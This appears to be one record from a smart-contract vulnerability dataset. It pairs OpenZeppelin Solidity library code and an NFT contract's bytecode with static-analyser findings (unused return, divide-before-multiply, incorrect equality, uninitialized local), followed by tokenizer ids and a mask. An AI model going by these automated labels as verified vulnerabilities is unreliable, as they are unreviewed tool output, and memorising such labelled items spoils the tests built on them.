https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061020f5760003560e01c80636c0360eb11610118578063a22cb465116100a0578063c87b56dd1161006f578063c87b56dd1461059d578063d7224ba0146105bd578063e985e9c5146105d3578063f2fde38b1461061c578063f5ebec801461063c57600080fd5b8063a22cb4651461052d578063b88d4fde1461054d578063bceae77b1461056d578063c002d23d1461058257600080fd5b80638da5cb5b116100e75780638da5cb5b146104b257806395d89b41146104d0578063989bdbb6146104e55780639f15df12146104fa578063a0712d681461051a57600080fd5b80636c0360eb1461044857806370a082311461045d578063715018a61461047d5780637cb647591461049257600080fd5b80632f745c591161019b5780634f6ccce71161016a5780634f6ccce7146103b857806355f804b3146103d8578063614bfc55146103f85780636352211e1461040e57806369d2ceb11461042e57600080fd5b80632f745c591461034d57806332cb6b0c1461036d5780633ccfd60b1461038357806342842e0e1461039857600080fd5b8063084c4088116101e2578063084c4088146102b8578063095ea7b3146102d857806318160ddd146102f857806323b872dd146103175780632eb4a7ab1461033757600080fd5b806301ffc9a714610214578063061431a81461024957806306fdde031461025e578063081812fc14610280575b600080fd5b34801561022057600080fd5b5061023461022f366004612780565b610651565b60405190151581526020015b60405180910390f35b61025c61025736600461279d565b6106be565b005b34801561026a57600080fd5b50610273610900565b6040516102409190612874565b34801561028c57600080fd5b506102a061029b366004612887565b610992565b6040516001600160a01b039091168152602001610240565b3480156102c457600080fd5b5061025c6102d3366004612887565b610a1d565b3480156102e457600080fd5b5061025c6102f33660046128bc565b610aaf565b34801561030457600080fd5b506001545b604051908152602001610240565b34801561032357600080fd5b5061025c6103323660046128e6565b610bc2565b34801561034357600080fd5b50610309600a5481565b34801561035957600080fd5b506103096103683660046128bc565b610bcd565b34801561037957600080fd5b5061030961196481565b34801561038f57600080fd5b5061025c610d55565b3480156103a457600080fd5b5061025c6103b33660046128e6565b6110fd565b3480156103c457600080fd5b506103096103d3366004612887565b611118565b3480156103e457600080fd5b5061025c6103f3366004612922565b611181565b34801561040457600080fd5b5061030960095481565b34801561041a57600080fd5b506102a0610429366004612887565b61121a565b34801561043a57600080fd5b50600c546102349060ff1681565b34801561045457600080fd5b5061027361122c565b34801561046957600080fd5b50610309610478366004612994565b6112ba565b34801561048957600080fd5b5061025c61134b565b34801561049e57600080fd5b5061025c6104ad366004612887565b61139f565b3480156104be57600080fd5b506000546001600160a01b03166102a0565b3480156104dc57600080fd5b506102736113ec565b3480156104f157600080fd5b5061025c6113fb565b34801561050657600080fd5b5061025c6105153660046129af565b611452565b61025c610528366004612887565b611552565b34801561053957600080fd5b5061025c6105483660046129db565b6116f5565b34801561055957600080fd5b5061025c610568366004612a2d565b6117ba565b34801561057957600080fd5b50610309600a81565b34801561058e57600080fd5b506103096658d15e1762800081565b3480156105a957600080fd5b506102736105b8366004612887565b61183f565b3480156105c957600080fd5b5061030960085481565b3480156105df57600080fd5b506102346105ee366004612b09565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b34801561062857600080fd5b5061025c610637366004612994565b61191a565b34801561064857600080fd5b50610309600281565b60006001600160e01b031982166380ac58cd60e01b148061068257506001600160e01b03198216635b5e139f60e01b145b8061069d57506001600160e01b0319821663780e9d6360e01b145b806106b857506301ffc9a760e01b6001600160e01b03198316145b92915050565b611964836106cb60015490565b6106d59190612b49565b11156107285760405162461bcd60e51b815260206004820152601960248201527f4d494e545f455843454544535f544f54414c5f535550504c590000000000000060448201526064015b60405180910390fd5b60095460011461076b5760405162461bcd60e51b815260206004820152600e60248201526d13525395125391d7d4105554d15160921b604482015260640161071f565b61077582826119d0565b6107c15760405162461bcd60e51b815260206004820152601460248201527f494e56414c49445f4d45524b4c455f50524f4f46000000000000000000000000604482015260640161071f565b336000908152600d60205260409020546002906107df908590612b49565b111561082d5760405162461bcd60e51b815260206004820152601260248201527f4d494e545f455843454544535f4c494d49540000000000000000000000000000604482015260640161071f565b60008311801561083e575060028311155b61087c5760405162461bcd60e51b815260206004820152600f60248201526e0829a9eaa9ca8bea89e9ebe90928e9608b1b604482015260640161071f565b3461088e846658d15e17628000612b61565b11156108cc5760405162461bcd60e51b815260206004820152600d60248201526c56414c55455f544f4f5f4c4f5760981b604482015260640161071f565b336000908152600d6020526040812080548592906108eb908490612b49565b909155506108fb90503384611a57565b505050565b60606002805461090f90612b80565b80601f016020809104026020016040519081016040528092919081815260200182805461093b90612b80565b80156109885780601f1061095d57610100808354040283529160200191610988565b820191906000526020600020905b81548152906001019060200180831161096b57829003601f168201915b5050505050905090565b600061099f826001541190565b610a015760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b606482015260840161071f565b506000908152600660205260409020546001600160a01b031690565b6000546001600160a01b03163314610a655760405162461bcd60e51b81526020600482018190526024820152600080516020612d2b833981519152604482015260640161071f565b600c5460ff1615610aaa5760405162461bcd60e51b815260206004820152600f60248201526e135155105110551057d313d0d2d151608a1b604482015260640161071f565b600955565b6000610aba8261121a565b9050806001600160a01b0316836001600160a01b03161415610b295760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b606482015260840161071f565b336001600160a01b0382161480610b455750610b4581336105ee565b610bb75760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000606482015260840161071f565b6108fb838383611a71565b6108fb838383611ada565b6000610bd8836112ba565b8210610c315760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b606482015260840161071f565b6000610c3c60015490565b905060008060005b83811015610ce6576000818152600460209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215610c9757805192505b876001600160a01b0316836001600160a01b03161415610cd35786841415610cc5575093506106b892505050565b83610ccf81612bbb565b9450505b5080610cde81612bbb565b915050610c44565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201527f6f776e657220627920696e646578000000000000000000000000000000000000606482015260840161071f565b6000546001600160a01b03163314610d9d5760405162461bcd60e51b81526020600482018190526024820152600080516020612d2b833981519152604482015260640161071f565b6000610dab6103e847612bec565b905060007391b26fffffb325e13f1ef592b0933696098044af610dcf836078612b61565b604051600081818185875af1925050503d8060008114610e0b576040519150601f19603f3d011682016040523d82523d6000602084013e610e10565b606091505b509091506000905073672ac43c28ce763bea39bb8e195db036c72209ee610e388460c8612b61565b604051600081818185875af1925050503d8060008114610e74576040519150601f19603f3d011682016040523d82523d6000602084013e610e79565b606091505b509091506000905073f82e94445fed2f74a272c97da8b2efa9003b7d13610ea18560f0612b61565b604051600081818185875af1925050503d8060008114610edd576040519150601f19603f3d011682016040523d82523d6000602084013e610ee2565b606091505b5090915060009050734cc3eb54b3ff22ffa1257453ca5d6b5d027ffffa610f0a8660f0612b61565b604051600081818185875af1925050503d8060008114610f46576040519150601f19603f3d011682016040523d82523d6000602084013e610f4b565b606091505b50909150600090507343b7751ce391c80c255141fd50fc41288374d36d610f73876032612b61565b604051600081818185875af1925050503d8060008114610faf576040519150601f19603f3d011682016040523d82523d6000602084013e610fb4565b606091505b509091506000905073317d367663edd9612fbff00899f356f0e556380a610fdc88604b612b61565b604051600081818185875af1925050503d8060008114611018576040519150601f19603f3d011682016040523d82523d6000602084013e61101d565b606091505b509091506000905073dd9a6283d8fb41afcdcf29bf2884c9d3b9245cc7611045896032612b61565b604051600081818185875af1925050503d8060008114611081576040519150601f19603f3d011682016040523d82523d6000602084013e611086565b606091505b509091506000905073317b3a38c520228ab3b9a6c70d5161530af9dd406110ae8a6019612b61565b604051600081818185875af1925050503d80600081146110ea576040519150601f19603f3d011682016040523d82523d6000602084013e6110ef565b606091505b505050505050505050505050565b6108fb838383604051806020016040528060008152506117ba565b600061112360015490565b821061117d5760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b606482015260840161071f565b5090565b6000546001600160a01b031633146111c95760405162461bcd60e51b81526020600482018190526024820152600080516020612d2b833981519152604482015260640161071f565b600c5460ff161561120e5760405162461bcd60e51b815260206004820152600f60248201526e135155105110551057d313d0d2d151608a1b604482015260640161071f565b6108fb600b83836126da565b600061122582611e6d565b5192915050565b600b805461123990612b80565b80601f016020809104026020016040519081016040528092919081815260200182805461126590612b80565b80156112b25780601f10611287576101008083540402835291602001916112b2565b820191906000526020600020905b81548152906001019060200180831161129557829003601f168201915b505050505081565b60006001600160a01b0382166113265760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b606482015260840161071f565b506001600160a01b03166000908152600560205260409020546001600160801b031690565b6000546001600160a01b031633146113935760405162461bcd60e51b81526020600482018190526024820152600080516020612d2b833981519152604482015260640161071f565b61139d6000612025565b565b6000546001600160a01b031633146113e75760405162461bcd60e51b81526020600482018190526024820152600080516020612d2b833981519152604482015260640161071f565b600a55565b60606003805461090f90612b80565b6000546001600160a01b031633146114435760405162461bcd60e51b81526020600482018190526024820152600080516020612d2b833981519152604482015260640161071f565b600c805460ff19166001179055565b6000546001600160a01b0316331461149a5760405162461bcd60e51b81526020600482018190526024820152600080516020612d2b833981519152604482015260640161071f565b600c5460ff16156114df5760405162461bcd60e51b815260206004820152600f60248201526e135155105110551057d313d0d2d151608a1b604482015260640161071f565b611964826114ec60015490565b6114f69190612b49565b11156115445760405162461bcd60e51b815260206004820152601960248201527f4d494e545f455843454544535f544f54414c5f535550504c5900000000000000604482015260640161071f565b61154e8183611a57565b5050565b6119648161155f60015490565b6115699190612b49565b11156115b75760405162461bcd60e51b815260206004820152601960248201527f4d494e545f455843454544535f544f54414c5f535550504c5900000000000000604482015260640161071f565b6009546002146115fa5760405162461bcd60e51b815260206004820152600e60248201526d13525395125391d7d4105554d15160921b604482015260640161071f565b60008111801561160b5750600a8111155b6116495760405162461bcd60e51b815260206004820152600f60248201526e0829a9eaa9ca8bea89e9ebe90928e9608b1b604482015260640161071f565b3461165b826658d15e17628000612b61565b11156116995760405162461bcd60e51b815260206004820152600d60248201526c56414c55455f544f4f5f4c4f5760981b604482015260640161071f565b3233146116e85760405162461bcd60e51b815260206004820152601460248201527f53454e4445525f49535f4e4f545f414e5f454f41000000000000000000000000604482015260640161071f565b6116f23382611a57565b50565b6001600160a01b03821633141561174e5760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c6572000000000000604482015260640161071f565b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6117c5848484611ada565b6117d184848484612082565b6118395760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606482015260840161071f565b50505050565b606061184c826001541190565b6118be5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000606482015260840161071f565b60006118c86121cc565b905060008151116118e85760405180602001604052806000815250611913565b806118f2846121db565b604051602001611903929190612c00565b6040516020818303038152906040525b9392505050565b6000546001600160a01b031633146119625760405162461bcd60e51b81526020600482018190526024820152600080516020612d2b833981519152604482015260640161071f565b6001600160a01b0381166119c75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071f565b6116f281612025565b6040516bffffffffffffffffffffffff193360601b1660208201526000908190603401604051602081830303815290604052805190602001209050611a4f600a54828686808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509294939250506122f19050565b949350505050565b61154e828260405180602001604052806000815250612307565b600082815260066020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6000611ae582611e6d565b80519091506000906001600160a01b0316336001600160a01b03161480611b1c575033611b1184610992565b6001600160a01b0316145b80611b2e57508151611b2e90336105ee565b905080611ba35760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f742060448201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000606482015260840161071f565b846001600160a01b031682600001516001600160a01b031614611c175760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b606482015260840161071f565b6001600160a01b038416611c7b5760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b606482015260840161071f565b611c8b6000848460000151611a71565b6001600160a01b0385166000908152600560205260408120805460019290611cbd9084906001600160801b0316612c2f565b82546101009290920a6001600160801b038181021990931691831602179091556001600160a01b03861660009081526005602052604081208054600194509092611d0991859116612c57565b82546001600160801b039182166101009390930a9283029190920219909116179055506040805180820182526001600160a01b03808716825267ffffffffffffffff428116602080850191825260008981526004909152948520935184549151909216600160a01b026001600160e01b03199091169190921617179055611d91846001612b49565b6000818152600460205260409020549091506001600160a01b0316611e2357611dbb816001541190565b15611e235760408051808201825284516001600160a01b03908116825260208087015167ffffffffffffffff9081168285019081526000878152600490935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b505050505050565b6040805180820190915260008082526020820152611e8c826001541190565b611eeb5760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b606482015260840161071f565b60007f000000000000000000000000000000000000000000000000000000000000000a8310611f4c57611f3e7f000000000000000000000000000000000000000000000000000000000000000a84612c79565b611f49906001612b49565b90505b825b818110611fb6576000818152600460209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215611fa357949350505050565b5080611fae81612c90565b915050611f4e565b5060405162461bcd60e51b815260206004820152602f60248201527f455243373231413a20756e61626c6520746f2064657465726d696e652074686560448201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000606482015260840161071f565b600080546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006001600160a01b0384163b156121c157604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906120c6903390899088908890600401612ca7565b6020604051808303816000875af1925050508015612101575060408051601f3d908101601f191682019092526120fe91810190612ce3565b60015b6121a7573d80801561212f576040519150601f19603f3d011682016040523d82523d6000602084013e612134565b606091505b50805161219f5760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606482015260840161071f565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611a4f565b506001949350505050565b6060600b805461090f90612b80565b6060816121ff5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612229578061221381612bbb565b91506122229050600a83612bec565b9150612203565b60008167ffffffffffffffff81111561224457612244612a17565b6040519080825280601f01601f19166020018201604052801561226e576020820181803683370190505b5090505b8415611a4f57612283600183612c79565b9150612290600a86612d00565b61229b906030612b49565b60f81b8183815181106122b0576122b0612d14565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506122ea600a86612bec565b9450612272565b6000826122fe858461262e565b14949350505050565b6001546001600160a01b03841661236a5760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b606482015260840161071f565b612375816001541190565b156123c25760405162461bcd60e51b815260206004820152601d60248201527f455243373231413a20746f6b656e20616c7265616479206d696e746564000000604482015260640161071f565b7f000000000000000000000000000000000000000000000000000000000000000a83111561243d5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a207175616e7469747920746f206d696e7420746f6f2068696044820152610ced60f31b606482015260840161071f565b6001600160a01b0384166000908152600560209081526040918290208251808401845290546001600160801b038082168352600160801b9091041691810191909152815180830190925280519091908190612499908790612c57565b6001600160801b031681526020018583602001516124b79190612c57565b6001600160801b039081169091526001600160a01b0380881660008181526005602090815260408083208751978301518716600160801b0297909616969096179094558451808601865291825267ffffffffffffffff4281168386019081528883526004909552948120915182549451909516600160a01b026001600160e01b031990941694909216939093179190911790915582905b858110156126235760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a461259b6000888488612082565b6126035760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606482015260840161071f565b8161260d81612bbb565b925050808061261b90612bbb565b91505061254e565b506001819055611e65565b600081815b84518110156126d257600085828151811061265057612650612d14565b602002602001015190508083116126925760408051602081018590529081018290526060016040516020818303038152906040528051906020012092506126bf565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b50806126ca81612bbb565b915050612633565b509392505050565b8280546126e690612b80565b90600052602060002090601f016020900481019282612708576000855561274e565b82601f106127215782800160ff1982351617855561274e565b8280016001018555821561274e579182015b8281111561274e578235825591602001919060010190612733565b5061117d9291505b8082111561117d5760008155600101612756565b6001600160e01b0319811681146116f257600080fd5b60006020828403121561279257600080fd5b81356119138161276a565b6000806000604084860312156127b257600080fd5b83359250602084013567ffffffffffffffff808211156127d157600080fd5b818601915086601f8301126127e557600080fd5b8135818111156127f457600080fd5b8760208260051b850101111561280957600080fd5b6020830194508093505050509250925092565b60005b8381101561283757818101518382015260200161281f565b838111156118395750506000910152565b6000815180845261286081602086016020860161281c565b601f01601f19169290920160200192915050565b6020815260006119136020830184612848565b60006020828403121561289957600080fd5b5035919050565b80356001600160a01b03811681146128b757600080fd5b919050565b600080604083850312156128cf57600080fd5b6128d8836128a0565b946020939093013593505050565b6000806000606084860312156128fb57600080fd5b612904846128a0565b9250612912602085016128a0565b9150604084013590509250925092565b6000806020838503121561293557600080fd5b823567ffffffffffffffff8082111561294d57600080fd5b818501915085601f83011261296157600080fd5b81358181111561297057600080fd5b86602082850101111561298257600080fd5b60209290920196919550909350505050565b6000602082840312156129a657600080fd5b611913826128a0565b600080604083850312156129c257600080fd5b823591506129d2602084016128a0565b90509250929050565b600080604083850312156129ee57600080fd5b6129f7836128a0565b915060208301358015158114612a0c57600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060008060808587031215612a4357600080fd5b612a4c856128a0565b9350612a5a602086016128a0565b925060408501359150606085013567ffffffffffffffff80821115612a7e57600080fd5b818701915087601f830112612a9257600080fd5b813581811115612aa457612aa4612a17565b604051601f8201601f19908116603f01168101908382118183101715612acc57612acc612a17565b816040528281528a6020848701011115612ae557600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60008060408385031215612b1c57600080fd5b612b25836128a0565b91506129d2602084016128a0565b634e487b7160e01b600052601160045260246000fd5b60008219821115612b5c57612b5c612b33565b500190565b6000816000190483118215151615612b7b57612b7b612b33565b500290565b600181811c90821680612b9457607f821691505b60208210811415612bb557634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612bcf57612bcf612b33565b5060010190565b634e487b7160e01b600052601260045260246000fd5b600082612bfb57612bfb612bd6565b500490565b60008351612c1281846020880161281c565b835190830190612c2681836020880161281c565b01949350505050565b60006001600160801b0383811690831681811015612c4f57612c4f612b33565b039392505050565b60006001600160801b03808316818516808303821115612c2657612c26612b33565b600082821015612c8b57612c8b612b33565b500390565b600081612c9f57612c9f612b33565b506000190190565b60006001600160a01b03808716835280861660208401525083604083015260806060830152612cd96080830184612848565b9695505050505050565b600060208284031215612cf557600080fd5b81516119138161276a565b600082612d0f57612d0f612bd6565b500690565b634e487b7160e01b600052603260045260246000fdfe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212207ada231a656f77a9740c2301e860c1b83c69858472390f76ce5a3bbe3c39167764736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 2581, 3676, 2581, 2509, 2546, 2683, 16147, 21619, 18827, 2683, 2475, 8586, 2683, 2063, 2509, 4215, 2487, 2546, 2581, 2509, 2063, 21084, 2278, 2692, 12879, 2581, 2581, 2063, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 2050, 1012, 14017, 1000, 1025, 3206, 6670, 5004, 20464, 12083, 2003, 2219, 3085, 1010, 9413, 2278, 2581, 17465, 2050, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,402
0x96b8064943fa174c20c8c11de8bd3dbf80f998fc
